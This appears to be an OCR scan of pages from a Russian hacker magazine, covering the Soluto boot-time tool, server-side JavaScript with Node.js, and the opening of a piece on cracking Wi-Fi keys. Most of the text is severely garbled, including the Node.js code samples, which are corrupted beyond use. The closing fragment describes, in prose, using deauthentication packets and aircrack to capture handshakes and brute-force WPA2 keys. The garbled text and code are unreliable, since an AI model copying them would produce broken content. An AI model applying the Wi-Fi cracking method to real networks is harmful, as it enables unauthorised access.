го компьютера или ноутбука с прекраснь!м экраном, чумовь!м тач-
падом и долгой батареей. [1омни об этом.=
Ф!!!ца1&х Флз-"ьЁЁр: //й. ьоф|.фд'!Ёцаьх_з.!!!пФ! !?!!1о!.п1.10_я!паф!>
4.сь1пе цц1а.|{о9соьз?8-з660_||92-92@-?.а5ь2!с911}" пщ.!1фвЁ"
олщ."ьФ. 1д!!5с.!.фдп'..'2о1о_о6_22т23:13:|9'.>
<вх!!.ь!.>
<дх!г.ф!а]!Ф'щ-"@/ьк1о!фцоп! 9.1ц.-!РЁюг.'/>
<вхс..ь!.]!Ф ощ-"@!/вФ.!51&в!!" уА}це-"1||о.900'/>
<в1в!аь!а!!ф дщ-'Ф/ь!пиФРо!шф! !.1ц.-'1о2/|6.14|0,9|3'7>
<е8вгаь!а!!6 пф='Фштф&тд1щ!п 9!1о.=!ф!!Ф"/>
Ф..ьа1сц пщ.'@/5аф@!! та1!ё.!'.з|7>
Ф!!афс.1!Ф пш.!Ф/5ьойп1тфщг' !а1ц.-"у.!"/>
<с*!!дфсатсФ пщ.ъФ!сбд2/в(фцф!" {А1цс." "/>
<&!!аь!атс.п .щ.ъ{п!сиР/в!
<₠х!!.ьф]вш !ш-ъхтп!.ш12/фф&?.
!.!ц.!ФоцгмЁю{!'ф..ф*Фа!а.ф1.а!фоп!!фц (с) АФ1фФцф!!пс!/>
<вдЁпа!. !ъ!з!оп..2">
х^к₠Р 08 /1 з97 1 0
BemeP34 for Journal-plaza.net
| ! 6]₠|АЁ "5]ЁР- ильин тш!ттЁп.с0м/5тЁРАн
Ф
5о!ц1о
о
шо-ь.э!пе.' 'еп]о!.' 1'о|]] !.о[
^* \Ро!еп6а]]у.еп1о!аь|е
^
о уошг ьоо| {аке5 1:о9 п]!п
42 арр!!са{]оп5 г!п !п уош! ьоо|
вечцпёё - саппо| ье.епо!е6
{4о арр5, 1:ф,о п!п)
8се приложения автозагру3ки разделяются на понятнь!е группь!
(ол0нка редакт0ра
]т4!сгозо[['з [а![, пл|^понему так д0лг0 гру3ится винда?
/)6га
3озмохность расширить функциональность
за счет плагинов - это всегда большой плюс
прилохения. Ёекоторь:е из подключаемь!х рас-
ширений набирают такую популярность' что со
временем входят в состав оригинального при-
лохения' [1ример банальной рассудительности
со сторонь разработяиков: если кто-то ухе
реализовал классную фину' которая многим по
душе. и сделали это хорошо' то чего хе отка-
3ь:ва|о(я? !адо сдела:ь ее досчпной всем го
умолчанию' и это будет правильно. {акой под-
ход почему-то никак не прихивется у й!сгозо{{.
!дивительно, как компания умуАряется вбу
хивать огромнь!е ба6ки в разработку многих
инновационнь!х функций' часть из которь!х
мь! так и не увидели [взять хотя 6ь: волшеб-
ную файловую систему \:!!пЁ5), но не мохет
включи-ь в сос гав своей этохальной систем":
несколько лилит' которь!е' что совершенно
очевидно' долхнь! в ней бь;ть. 9 искренне
радовался за ре6ят' когда год назад поставил
себе !\7:п6ошз 7 _ систему дей(!Бй[ё!]он0
удобную и приятную, которая шустро работала
и бь:стро грузилась' !вь:' сейчас она грузится
ухе далеко не так 6ь:стро. (ак бь: я ни старался
устанавливать только минимум проверенного
софта (все эксперименть! я провоху только под
вирцалкой)' винда все равно о6росла разлин_
нь ми грилохе{иями' сервисами' драйверами.
часть из которь:х вообще установилась втихаря
вместе с другими программами. !ет' это ни в
коем случае не вина й]сгозо[{: не мохет хе
компания отдуваться за все те хреново напи
саннь!е программь ' которь!е в огромнь!х коли-
чествах пользователь ставит в систему. !о!
0бъясни-е мне' почему в винде нет простого
и понятнэго инструмента' которь й помог 6ьт
привести систему в нувство? Разве хе слохно
включить в состав лилиц' которая позволяла
бь: навести порядок в -ой мусор+ой яме. назо!-
ваемой <автозагрузка"? 3то при том колос-
сальном количестве мест. которое разра6отни
ки системь заботливо предусмотрели для того,
нтобь: прописать прилохение или 6и6лиотеку
в автозагрузку (и нем непременно пользуются
не тольк0 малварь' но и самь!е о6ь;ннь:е при-
лохения]' .[а, есть гпзсоп[!9 - но многие ли
пользователи знают' как им пользоваться?
!а какой там - как его воо6ще запустить?
[4ли понему не включить в систему лилиц
Ац1огшпз от 5уз:п|егпа[з? |онипиаю возмохную
опасность: проги 6ольше подходят продви
нгь!м пользователям' которь1е не по6оятся
удалить лишнего. !о что мешает сделать ана-
логичнь:й продукт' с подсказка}ии и понятнь!м
шьег|г!еп6[у интерфейсом? Религия? !ам хе
остается полагаться на другие решения, такие
как 5о[ц{о {шшш.зо[ш1о согг). 06язательно уста
нови его. ['1ри первом хе ре6де компьютера
в левом нихнем углу ть! заметишь небольшую
панельку, в которой будет ото6рахаться общий
таймер загрузки системь], а такхе названия
программ и сервисов' готорь'7 в даннь:й
момент подгрухаются. йое время загрузки
ухаснуло - 2 минуьь 23 секундьг. [обственно'
первая функция программь! - это своео6раз-
нь:й беннмарк, которь:й замеряет, сколько вре-
мени уходит на запуск каждого из элементов
а втозагрузки. Ёаконец-то мохно разобраться.
что конкретно тормозит и увеличивает время
загрузки виндь;. !тобь; сицацию мохно бьпло
разрулить' все элементь! удобно разбить на
группь: "\о-бга1пег"' "Ро{еп{|а[[у геБоо|"'
"Ёечц!ге0'. ['1ервая группа - самая лакомая. 8
нее входят те процессь!' автозагрузки которь!х
практически без опаски мохно удалить..!ля
кахдого компонента 5о[ц|о вь;водит не6оль-
шое описание, где понятнь!м язь:ком обь-
ясняется' за что он отвечает' Ёо самь:й смак
- в рекомендациях' |' например' понятия не
имел' за что отвечает слухба "\А/йР 5Баг!п9"
\тигита уе на прос]ом ангг:йсчом язь'ке
объяснила' нто слухба предназначена для
трансляции потокового видео в 6еть. "Ёсли вь
не планируете организовь!вать трансляции в
[еть' автозагрузку сервиса мохно отключить
или отлохить> - вполне понятная рекоменда-
ция. 0'ло'еннь ; запу( } . упомяьщь:й в реп о-
мендации - это еще одна фина, позволяющая
реализовать запуск прилохения не на старте
системь!' а во время ее простоя. }аким обра
зом' мохно до6иться онень бь:строго старта
самой виндь:' при этом все дополнительнь!е
примочки 6удд запускаться позхе' 8торая
группа - .Ро1еп1!а[[у геьоо{" - включает
элементь!, которь!е потенциально мохно опти_
мизировать. [1о крайней мере' они не входят
в третью группу ("Ёечш!ге6'] обязательнь:х
компонентов, которь!е непременно долхнь!
грузиться на старте системь!. !,4нформация о
принадлехности компонентов ктой или иной
группе подгружается из онлайн 6азь даннь:х,
в которой аккумулируются даннь!е от различ-
нь!х пользователей' Благодаря такому облаку
разработники 5о[о1о моцт составлять и кор'
ректировать свои рекомендации. Ёасколько
это эффективно? 3а пару минщ я довел время
загрузки системь! до 51 секундь;. 8от' 3
3ремя загрузки после оптмизиации
хАк₠Р 08 /1з9/ 10
> о29
BemeP34 for Journal-plaza.net
ж
;
\\\\х\\\
Б,;]'г_
ч
1 е0ве0нь.у1 -!1щ
)айа$ёг|р[
3нак0мимся с ],] о0е.!$,'шлпкак на всегда
0тка3аться от Рнв Рей и Ру1!топ
[!осторонись, пресловуть:й Р}!Р!|1олой.!ауа! [таринок Рег[, те6е так воо6ще
давн0 п0ра на пенсию. 1,{ как же вь| уже д0стали, п0пс0вь!е Рш!у и Ру|1топ! 8се
эти давн0 3нак0мь!е техн0л0гии уже не т0ркают. 3ато сег0дня мь| п0см0трим на
чрезвь!чайно прогрессивнь:й п0дх0д, к0гда для написания серверн0г0 к0да ис_
п0льзуется... .!ауа$сг!р!.
Ёсть идея для стартапа' 1еперь вопрос; на чем его писать? (онечно,
есть всеми лю6имь:й Р!-]Р - что мохет бьтть легче для ве6_сай:та!
|о скахи честно, как-то не тянет' правда? 8едь нтобь сделать что-
то стоящее' голого РЁР не хватит. [разу придется прикручивать
еще и А!А|' нтобь даннь:е незаметно подгрухал'!сь без обновления
всей страниць: целиком, да и это не решит всех проблем' 0 том
что Р!Р не так хорош, ть! задумаешься в тот самьй момент' когда
к тебе разом ломанется много народа. А все потому что РЁР [как и
подавляющее большинство других язь ков' на которь!х строят сайть:)
дахе в нашем' черт подери, двадцать первом веке работают по
классической схеме <запр0с-ответ". 3апрос страниць1 заставляет
веб сервер поднять указаннь й скрипт' вь полнить его [линейно'
строка за строкой весь твой *од], а резуль.ат возвратить браузеру
клиента. [1осле этого скрипт . умирает.' а следующий ке запрос
запустит всю эту адскую машинку заново. А если таких запросов
одновременно ть сяча? [тарь й добрьтй подход назь;вается [0!
[интерфейс взаимодействия ве6-сервера и интерпрета10ра язь!ка'
на котором написана страница). |итрь:е надстройки вроде Раз{60!
расширяют протокол' позволяя избехать вь1грузки скрипта после
первог0 запроса. 1аким о6разом' + огда второй пользователь запр0-
сит ту хе страницу' для него 6удет ухе все готово' останется только
вь!полнить скрипт с новь!ми параметрами- Ёо все эти ухищрения -
все равно не то.
чт0 тАк0г х0Р0ш0, А чт0 тАк0г пл0х0
йногие разработчики всегда счи1али.)ама5сг!р[ просто <при
мочкой" к браузеру' эдаким недоязь!ком' к0торь й годится разве
что для управления формами и манипулирования 00й_деревом
> 0з0
веб-страниць. |екоторь е д0 с|]х пор думают' что (]ауа> в названии
что то да значит! :] ,!,ей:ствг,:тельно' язь!| 0чень простой. 8пронем,
настоящие программисть давно научились творить с его помощью
чудеса' предоставив нам потрясающе удобнь:е онлайн сервись '
которь!ми мь] ехедневно пользуемся. [йногие из таких профи
пошли дальше и' трезво посмотрев на са[4 язьк и его возмохн0-
сти' особенно по части работь: с собьтиями' решили: а что если на
_!ама5сг:р1 написать сервер? 1ь; полунаешь возмохность написать
на одном и том хе язьке все части сайта. что серверную часть' что
саму клиентскую страничку' (роме того' _-]5 отлично' просто идеаль
но подходит для разнь!х веб-штунек. 0н очень простой и одновре
менно гибкий' что позволяет писать код в разнь!х парадигмах: от
обь:чного процедурного до 00|1 в смеси с функциональнь}м стилем.
А главное это тотальная асинхронность. 3то значит' что твой
код будет вь полняться не п0следовательно' как в слунае с Р[1Р/
Рег[ скриптами' а именно в тот момент' когда для него будут готовь
все даннь!е. 3едь для веба не надо большой вь нислительной мощ
ности большую часть времени сервер охидает собь:тий вроде
получения даннь;х формь ' вь борки из базь: даннь:х или' что еще
хухе' ответа на запр0с к другому серверу. 0бь:чнь;й РЁР-скрипт
в такое время простаивает, а значит' простаивает весь поток' не
позволяя серверу задействовать его для других пользователей. 3
такой ситуации не спасает дахе \9!пх. 3 слунае с -]ауа5сг;р{ ть!
просто указь ваешь, какую функцию необходимо вь полнить' когда
произойдет определенное собь;тие' и все' 3 это время другой }од
мохет спокойно вь!полняться. 1акая функция назь!вается са[[бас[,
:ли обрабо'":к со6ь ий \о:я г:гатодёйс]ви|елочо.ло_чь,_од в
таком стиле немного неудобно' особенно если твоя функция зави-
х^кЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
|
4
:,.:
'
,1
.!:
:..
:::
{
]!:
сит от нескольких собь:тий сразу, но и для этого ухе придумали
свои фреймворки, зачастую гораздо более мощнь:е и элегантнь1е'
чем все эти Р|Р/Ршбу/Ру1Боп.
А к чБму 0нА в00БщЁ' этА АсинхР0нн0сть?
!ля примера огранинений послед0вательного вь1полнения кода
рассмотрим два типовь х примера кода на РЁР и _1ама5сг!р|'
вь]полняющих одно и то хе' []ачнем с любимого Р[]Р:
$геэш1с - $оь >!е[сьопе('5Б!вст ш5ег_папе гРом ц5ег
ассоцп[5 шнвР'в |а - 1') ;
есьо 'мое имя| ' $гезц1[ ';';
3 первой строке мь! пось!лаем простой 50|-запрос к Б! на вьт6ор-
ку имени пользователя, у которого !6 = 1.0брати внимание: в
этом месте скрипт останавливается' и следующая строка не будет
вь полнена д0 того самого момента' пока запрос не будет обрабо
тан базой' а результат не возвратится в переменную $гезо[{. !а'
в нашем примере это ть!сячнь!е доли секундь!. но в реальности и
запрось! гораздо слохнее, и 6азь: по размеру зачастую составляют
гигабайть:' и запросов таких мохет одновременно бьть пара ть:сян
А теперь попробуем написать код на !3, используя асинхроннь!й
стиль|
оь.чцегу('5вьвст !3ег_папе гР'ом !3ег_ассо!п!5 {.\1нвРв
16 = 1', {цпсс1оп(егг, гез) {
:'(:е!]) 5у5.]оо('моА ищ: ' . !е5);
));
5у5. 1о9 ( 'продолжаем вь1полнение' ) ;
конечно' ть! мохешь писать код с чистого листа, что и делают
многие правильнь!е программисть;. 0днако немало из таких
правильнь!х программистов создали для себя удобнь:е каркась!
и наметки' которь!е теперь постоянно используют и предлагают
всем желающим в виде фреймворков и спецификаций. Ёсли
ть1 всерьез решил использовать сервернь:й _.|5' то это отличнь:й
способ облегчить себе хизнь.
],,!агш[:а[ [пагш!-:а[]з'ог9) - мощное решение, работающее поверх
многих ..]5 двихков. 1аким образом' программистам не надо
париться по поводу различия различнь|х серверов - они могут
просто писать код'
[опгпоп)5 [со гт гтоп] з. о г9 ) - поп ь!тка станда ртизировать плат-
форму и дать общий АР! для всех двихков, предлагая низкоу-
ровневь;й АР!, а такхе АР! для подключения различнь!х готовь!х
модулей.
)56! (..)ама5сг!р1 9а{е |п|ег{асе) - разработан специальнь:й про-
токол взаимодействия связи веб-демона и сервернь|х сцена-
риев на -.1ама5сг!р|. }вь:, спецификацию пока полностью поддер-
хивает только проект РБ!по в окрухении сервера ]е1|у'
хАквР 08 /]з97 10
5ешег
а п9!пх
* [ь|л
э |огпаоо
! поае
[! роизводител ьность [',! о6е.!з
[ут опять хе создается запрос к базе даннь:х, однако кроме самого
50|-вь:рахения в запросе передается еще и функция-обра6отник
[са||бас}<]. 3та функция будет вь:звана именно тогда, когда придет
ответ от 6азь даннь:х' а до этого момента вь1полнение скрипта ни в
коем случае не 6удет стопориться. !ля примера в следующей стро-
ке мь! просто вь!водим строку в консоль' чтобь показать, что вь]пол-
нение сценария продолхается сразу после формирования запроса'
не охидая его завершения. [обственно, в основе любого варианта
серве рно го -.)ама5сг!р1 залохена кон цеп ция со6ь:г ий и са[[Бас[<'о в'
то есть обработчиков собь:тий. ]ь: мохешь опись вать собственнь:е
собь:тия.1огда ход вь!полнения прилохения будет зависеть от
со6ь;тий' которь!е возникают в результате активности пользователя
на странице ("форма заполнена> или <<новое соо6щение" и т.д ]
или генерируются внутри самого сервера [как, например' в случае
с обращением к 6азе даннь;х). 1е действия' которь е нео6ходимо
вь!полнять в случае наступления собь:тий, опись ваются вну1ри
фун-ции обрабо'",.г ов собь:'ии.
движ0к, в0т в чгм в0пР0с
(ороне говоря, использовать -1ама5сг!р1 не только для клиентской
части. но и на серверной стороне - это хорошо и дахе приятно.
!ругой вопрос - каким образом это возмохно осуществить? [егодня
есть четь!ре основнь!х двихка' которь!е используются на серверах.
РБ|по - двихок от компании [х4'о:][[а' написаннь;й на..)ама и под-
дерхивающий последнюю 1 '7 версию стандарта --|5' которь й ( тому
хе дополняет язь:к со6ственнь ми расширениями и объектами.
0сновнь:м преимуществом двихка является работа поверх стан
дартной...|!й' а значит' его мохно использовать в любой среде, где
работает _1ама. !ругими словами' мохно применять современнь!е
ве6-серверь: типа 1е{1у но при этом писать на любимом ..]5. (стати,
Р1-:!по применяют на о6лачном хостинге от 6оо9[е| А вот с произво-
дительностью слохнее. 0на зависит' с одной сторонь]' от двихка и
применяемь!х там технологий, вроде !!| компиляции. и от работь
самой ..]ауа-машинь:' (стати, многие тестерь!' которь!е говорят' что
Р[!по очень медленнь:й, забь:вают' что двихои имеет два рехима
работь: интерпретации, когда скрипт кахдь:й раз преобразуется в
_)ама байт-код {аналогично РЁР], и компиляции' когда такое преоб-
разование происходит только раз' а потом многократно исполня-
ется. [1ервь;й рехим вь|годен' когда ть! отлахиваешь код, готорь;й
меняется кахдую минуту, второй больше подходит для рабоней вер-
сии проек!ё, рабо:ающей под нагрузкой.
5р!0егйоп[еу - еще один двихок от йоа![[а' на этот раз на !'
(стати, это воо6ще первь;й в мире двихок !5' написаннь;й еще в
\е|зсаре сегодня он открь1т и используется в таких популярнь1х
продуктах как Р!ге!ох' А0обе АсгоБа[ и дахе в одном из эмуляторов
серверов онлайн-игрь; |.][(]па 0п[|пе..[алее разработчики сильно
модифицировали его' добавив компиляцию _15 напрямую в ассем-
60
Ф
Ё
Ф
Ё40
Ф
Ф
с
о
о
Ф
9:о
||оёе.|з - веб-сервер с у8 внутри
5о 10о 150 200 25о
сопсцгепсу
) 031
BemeP34 for Journal-plaza.net
]о о:\шо{пй.л\ех.пР!е]!' 5!ь!!пе те{ 1.3 (!шп!6!5т!п6о)
|'!ример асинхронного веб-сервера
блернь:й код' и переименовали в {гасе\|'оп}<еу !]менно эт0т дви-
хок используется в ветке 3.6 [:ге{ох'а' 8 основноь:5р с1ег!х/ол[еу
используют в 110' которое написано на [/[++ и нухдается в скрип
товом язь ке' 1,4з известнь!х продуктов -опе| сервер АРЁ по50! Б!
[ошсБ03, серверная платформа _)ахег и г;одуль к Арас[:е гпос1 1з.
Ёц1Баг[< это двихок от 0рега' которь й кроь:е браузера' исполь
зуется в их инновационном сервисе |-]п:!е 1типа встроеннь й сер
вер в кахдом браузере)' а такхе на !1х серверах' обслухивающих
мобильнь;й браузер 0рега й1п. )(аль' что дв!]хок эакрьт, и его
пока нигде за пределами самой 0рега не пр|1меняют.
у8 двихок от 6оо9[е' которь й используется в [Бгогпе и является
основой будущей [бгогпе 05. [егодня это сам5 й крутой: бь стрь й
и мощнь й двихок' в котором !5 код напряплую преобразуется в
ассемблер целевого процессора' что позволяст обой;т:; по скорости
все остальнь1е двихки. (роме этого гугловць] |.]сп0льз\]ют [1н0хество
ухищрений для оптимизации' хранят в памят'] скомп!],г]1]роБ.,!]!{ь и
код' оптимизируют его на лету |напрг:г':ер' удаляют блок: кода кото
рь е по решению компилятора вообще не могут бь ть зад-1]ствовань '
и т'п']. |а базе этого двихка построена самая популярная т: бьстро-
развивающаяся серверная платфорь;а _ \о6е..]5.
ш00г..,5
3ероятно, именн0 после вь хода [[:гоп":е разра6от:икг: с[]е!н,,,л!]
что такой бь:стрь:й двг,]хок м0хно успешно использовать |з на с-ор-
вере. [1ервь;м опь том стал проект !0с9!' которь1й |росто позволял
писать сервернь!е сценарии, работающие с любь:м ве6 ссрвсром
по стандартному протоколу [6 . .!альнейшие эксперименть при-
вели к рохдению проекта }.!о6е.)э полностью самостоятельн0|]
платформь;' вклюнающей, кроме дви 1} а встроеннь и сервер (![[Р
и ][Р/!0Р/[-]п1х зо[е{] и базовь:й набор библг..:отек' а такхе 1!р0до
ставляющей полностью асинхронную работу с файлами и сетевь!ми
устройствами.
[1роект развивается настолько бь стро и активно что ухе сег]час
готов к промь шленному использованию 3то' в частности, дока-
зь!вает опь т парней из Р[ог[ (азиатский аналог твиттера)' которь!е
полностью перенесли свой сопе{ сервер' изна(]ально написаннь:й
на _-]ауа и солидном -18озз \е{|у' на \о6е'1з и' по 0тзь!вам' сократи-
ли потребление памяти буквально на гигабайть ' А масштабь у них
еще те - более сотни ть сяч одновременнь:х соединениЁт.
3апустить |11Р сервер' способнь й обрабать:вать асинхронно
ть!сячи подключений - это несколько строк кода:
уаг 5у5 = тес1ш|го ( 'БуБ') ,
}]1.||) - гес]11|]:е ( '111]-_ р' ) ;
пг.р.сгеаге9егуег(г11пс||о1 (|сс1, г₠Б) 1
|е5.|.г1| е]1е.]с1 (200, :'со!г е!1: туре': '|ехг-/1]1а-11'');
ге5.е]].1 ('не11о |'ог1с\1]' ) ;
] ) . ]:в|еп (80, '12';.0.0. 1 '' ) ;
5у5.|]ц1]5 ( '5егуег г::::п|п1,' .!| а|-!] 1121.0.0.1:80 ')
ц1тобь: запустить сервер' скопируй код в файл ехагпр[е..1з и у(.ажи
его при запуске демона по6е:
> 0з2
щ Адви3иоРатоР: с^ш|паош'\5у'1епз^сп6'ехе _.о6е ехафР!е']5
,[ля последних версий }.!оёе.|з есть полноценнь!й
\А/!п0ошз-порт
|)1_1с '!]:.1:]]]-е. 5
,';.: :':::::]::,: а: 1_( 1 1) 0.0. 1 :30,
\]'аленькг:й тест провест!] очень пр0сто' йохно взять пр0! рамму
Арас[е 8епс[: - очень простую тулзу для проведения нагруз0ч-
ного тест1]роБан|]я, |] зап!ст']ть ее: г!пп п9 "аБ _п'1000 с 100
'б{1р://127.0.0.1 80/ " |акип: обраэом' беннмарк будет.обстрели-
вать> сервор ;ь сяча[]!1 запрос0в' ']спользуя 1 00 одновременнь х
подклюненг;й' |а п;оем ноутб,,;ке сервер вь!дерхал 6ольше 3000
запросов в се(унду' 3то очень п:ного|
[ам ссрвер нап1]сан на [+- г; с0всем немнохко на ассемблере'
однако большая часть бт:б.лр;отэк гтз дистрибутива разработана
на _.1ама5сг1р| 8 состзв базового набора сервера входят только
основнь!е функцг:г;' остал5нос оставлено на плечах разра6отников,
к0торь е ухе нап[]сал1.] сотн'] разнь х би;блиотек и фреймворков.
3про:ем' молодость проекта дает о себе знать: многих !1ривь чнь х
для других решенгт; п.:одулей еще нст, а у многих библиоте;< теку-
щая ворс[1я - 0 0 ]' что не пр']дает увереннос]'1 в их стабильности
Ёекоторь е тр]!в!.;аль;ь е задач1] могут вообще Ё]е иметь готового к
закачке решен!]я, но бь ваот и наоборот количеств0 реализаций'
зачастую радикально разнь х по архитектуре' исчисляется десятка_
пти {доступ к базе [йу50|, напрг;ь:ер)' [отя 6ольшинство библиотек
написано на ч']ст0[] -]ауа5сг р{' есть '] такие, что требуют компи-
ляции модуля к ссрверу нто обещает гораздо большую скорость -
о1|и просто расш'1ряют стандартнь й АР! сервера'
0с0Бгнн0сти ш00Ё..,$
0сновной особенностью \ос1е' кроме полной асинхронности'
является его однопоточная модель. !ругими словами' все опера-
ции вь!полняются в 0дном и том хе потоке 0[ да)(е если утвоего
сервера ть!сяча одновременнь х пользователей. [1равда доступ
но создание дочерних процессов и низкоуровневое управление
исполнени0м скриптов {загрузка' компиляц!,1я' работа с ассем
блернь м кодом' исполнение). !ля реализации многопоточности и
задействования всех ядер современнь х процессоров рекомендует-
ся просто загрухать несколь!о ьопий припо+ения' но мохно взять
на воорухение \:!еб\-А/ог[ег из стандарта |1\4'|5 и распределить
работу прилохения по нескольк']м дочерним процессам. !е думай'
что раз нет многоп0т0чности это тормоз и отстой. 8спомни, что
ве6 прилохение делает полезную работу онень бьтстро' а боль
шую часть времени просто охидает него-то [даннь;х от базь; от
п':егпсас[:е6'а или новомодной \о50| базь:), либо просто дерхит в
памяти открь!ть е соединения для |огпе|'а, поэтому в одном потоке
мохно обработать и десяток ть сяч, не прибегая к кластеризации.
3торой особенностью архитектурь; \о6е является собь:тийность'
[1ояти кахдая операция имеет коллбэки генерирует собь:тие' а
пользователю доступен объект !уеп|Ёп1[ег через которь й мохно
буквально одной строкой генерировать свои собьтия [это неслох-
но, ведь собьтие - это просто строка с названием, а такхе спи
сок параметров, которь!е передаются в обра6отник). [ам по се6е
3:
5е1
хАк₠Р 08 /] 3'7 ] 0
BemeP34 for Journal-plaza.net
ш
[!роект молодой, и АР]
ется
> !п[о
Большинство. если
не все' 6иблиотеки
и проекть! на \о6е.
!5 сосредотонень: на
6!1Бшб' поэтому если
нет какого-то модуля
нухного тебе' ищи
его та м.
> [!п]<з
. йатериаль по
\о6е_]5:
9гошрь.9оо9[е соп/
9|ц1!'г1офе15
. Русскоязь:ннь:й
сайт и форум:
1огшгп'по0е1з цц
. информация о сер
верном !5:
еп.ш![ ре01а.ог9/
ш1|!/5егуег з!6е_
.1ама3с:;р1
. !,ороший мануал
для начинающих по
\о0е...)5:
шшту.з[0ез|-:аге
пе[/1[е цп!е11оеф
по0е1з а чо с[ |ошг
. презентация-
введение по \о6е.
.15:
по0е1з.ог9/1зсоп{'р0|
-'ас!о:- .ас!п! .о6. .а11. ]з ..го.{о9
9е.!е. .цп.!.о а( п[|р://12'.6.0.1:3о01
\о0е построен вокруг Бмеп||оор - глобального цикла
обрабогки со6ь!!ий, ко!о!в!й на кахдом тике проверяе',
готовь! ли даннь!е для какого либо из определеннь х
пользователеч коллбэков. Ёсли данн":е есть' начинает-
ся вь!полнение кода' Ёсли не осталось 6ольше кода -
охидаем следующего вь!зова- ! |икл вь;полняется вне _]5.
а в самом двихке, написанном на [, вследствие него
это происходит очень и очень бь:стро [порядка сотен
ть!сяч раз в секунду]. 9то-то типа бесконечного цикла' в
дополнение к этому в сервер встроен онень эффектив-
нь й сборщик мусора {ос]' поэтому дахе ть!сячи подклю-
чений не вь!зь]вают переполнения памяти и падения
сервера. \о0е'1з обладает встроенной родной системой
ра6оть] с собь!тиями.
пР0стгйший 5тЁАм!ш0_сгРвгР
-опро6уем написа]ь прос:ой' но в то,ке время полезн":й
пример' которь:й в реальном времени будет вь:давать
пользователю полезную информацию 6ез перезагрузки
страниць!. 8от идея для нашего прилохения - брать
новь!е даннь!е' которь!е добавляю-ся в текстовь!й лог' и
вь!водить их в реальном времени на веб-странице:
уаг 3у3 = гечш!ге ( '5у5' ) ,
пе[ = геч!|ге('пес'),
3рашп = гечш1ге('сь!1а--ргосе55' ) .5рашп,
ьсг'р = геч!'ге ( "ьсгр') ;
5у5 -рц[5 ( ' \п}'{у ргосез5 Ртп: ' +
ргосе55.р|с + '\п');
уаг г'а11 = врашп ( 'са!1' , [ '_{' ,
' /тат / 1оч /пч\пх/ассе53. ]оо' ] ) ;
/:!. |... .{: 1....1. ,,,:1 ; ..
3у5.р0с5 (''5ваг| |а'111п9'' ) ;
[а;1 . 5саоц[. аса!;5[епег (''ааса" .
[шпс[1оп (0а[а) {
5у5-рцс5(0а|а);
./ /]1\,,()]|]!1]уе|] с]е|)е на (оз со;];,
));
ьс ср. сгеа[е5егуег ( гцпс[1оп (геч, ге5) {
ге5 - 5епонеасег (200, { "соп[еп[_ц/ре'' :
х^к:Р 08 /] з9/ 1 0
постоянно изменя-
'' [ех[ /р1а|п '' } ) ;
га'1.5гаоц[.аоа!|5[епег(''аа[а,', !цпс|.1оп
(са|а) { ге5.шг!се(са|а); });
}).115[еп(80);
[ помощью функции 5ра\мп(] мь! создаем донерний про-
цесс лилить! |а![' которая' собственно, и занимается
тем' что счить1вает новь!е даннь!е, которь!е появляются
в логфайле' 1-'1роцесс запускается только раз во время
старта сервера. 6обственно' наша задача - отлавливать
моменть!, когда команда та![ 6улет вь!водить новь!е даннь!е
из логфайла и транслировать вь!вод на веб-страницу ках-
дому подключившемуся клиенту..!ля этого мь: будем сле
дить за возникновением собь:тия 6а{а [появлением новь!х
даннь х1 для переменной' ь _о:орой запуцеь процесс
утилить! 1а![. и вь:водить их на страницу с помощью коман-
дь: шг!|е().1аким о6разом' соединение будет оставаться
открь!ть!м для кахдого Ё11Р-запроса. 8от и все. 8ледить
за активностью процесса не так просто для о6ь;яного
ве6 прилохения' но ничего не стоитдля не6локируемой
архите<црь по6е'1з и ло| ики во!полнения. основанной на
собь:тиях. Ёам остается только запустить скрипт: <по0е
1а!['1з еггог[о9" и открь!ть в браузере ь11р://[оса[ьо51:80-
Ёа странице будщ отобрахаться все соо6щения' которь!е
появляются в логфайле еггог[о9'
в0т и скА30чкг к0нЁц
6ейчас, вь:бирая на чем бь: таком написать очередное
шеб 2.0 прилотеЁие' где не толоко прасивь:й клиенп-
ский код' но и что-то надо делать на сервере, те6я
парит одна грустная мь!сль о том, что все ухе изобре
ли и налисали до те6я' 1е хе язь:ки, что и десять лет
назад, те хе би6лиотеки' лротоколь! и сервера' РЁР
ухе ого сколько лет, Рег[ так воо6ще седой' Ру(Боп у
всех на слуху' а РшБу успел надоесть' [1исать для веба
стало рутиной посмотри, как твои друзья сидят и
думают, что хе сделать с 25_мегабайтнь!м монстром
7еп6'{гагпеииог(' А тебе хочется что то нового' бь:ть
на острие прогресса' создавать то, на чем потом будут
писать все, а сейчас знают только увлеченнь!е хаке-
рь! и ищущие се6я дзен программерь:? [1осмотри на
!ама5сг!р[ в сервере, он просто создан для этого. 0чень
простой' мощнь:й, еще не погрязший в тонне 6и6лио-гек
и фреймворков 3адани' которь!е на Р!Р не решить
вообще' на базе \о6е._]5 решаются буквально десятком
строк' !,4, возмохно, именно такое программирование.
наконец' принесет утраченное чувство наслахдения от
разработки |3
|тилита для мониторинга логов
) 033
BemeP34 for Journal-plaza.net
ва
ч
соединения' передаются в эфир в открь!том виде без шифрования.
3агвоздка заключается в том, что клиент авторизуется на точке досц-
па довольно редко, и этого момента в о6щем слунае пришлось бь:
хдать очень долго. 0днако если отправить в сеть специально состав_
леннь:й пакет деаунтетификации, то он с 6ольшой вероятностью
отключит клиента от АР и вь!нудит его подключиться к ней вновь. !ля
этого есть специальнь!е утилить!. Авторитетная а!гер[ау - одна из них
1ут надо сказать' что инхектировать фреймь: возмохно, если пере-
вести беспроводной адаптер в так назь!ваемь:й рехим мониторинга
[гпоп!1ог гпо6е]' а под виндой сделать это практически невозмохно.
[1о этой принине и слохилось, нто стандартной платформой для игр
с \:!!-Р! являются *п!х-системь:' ['1роще всего эксперименть! даются с
помощью небезь:звестного 8ас}<|гас[, в которь:й.изнанально включе-
но все необходимое. [')ринем для запуска потребуется лишь сделать
из дистрибрива загрузочную флешку с помощью гилить1 шше1ьоо1!п
[цпе(боо{!п.зоогсе[ог9е.пе1]. 8озвращаясь к теории: когда на руках
есть дамп с перехваченнь!ми пакетами, в 6ой вступает у1илита
непосредственно для взлома клюна. 1ут есть разнь|е варианть!'
но среди прочих вь!деляется классическая тулза а!гсгас!<, которая
использует несколько алгоритмов для взлома \:!ЁР, а такхе метод
брутфорса для \г!РА/![РА2' Ёсли все проходит хорошо, на вь!хо-
де программь! пентестер получает ключ для беспроводной сети'
['1рименательно, что все три у1илить| а!го0шпр' а!гер|ау и а!гсгас&
входят в один пакет лилит А!гсгас[-п9 {а!гсгас|<-п9.ог9).
ш!-г|спАскгп
14з всего этого вь!рисовь!вается вполне понятная схема для взлома
клюва к беспроводной сети [для определенности' пусть она 6удет
защищена $/РА2). |1редварительно беспроводной адаптер лере-
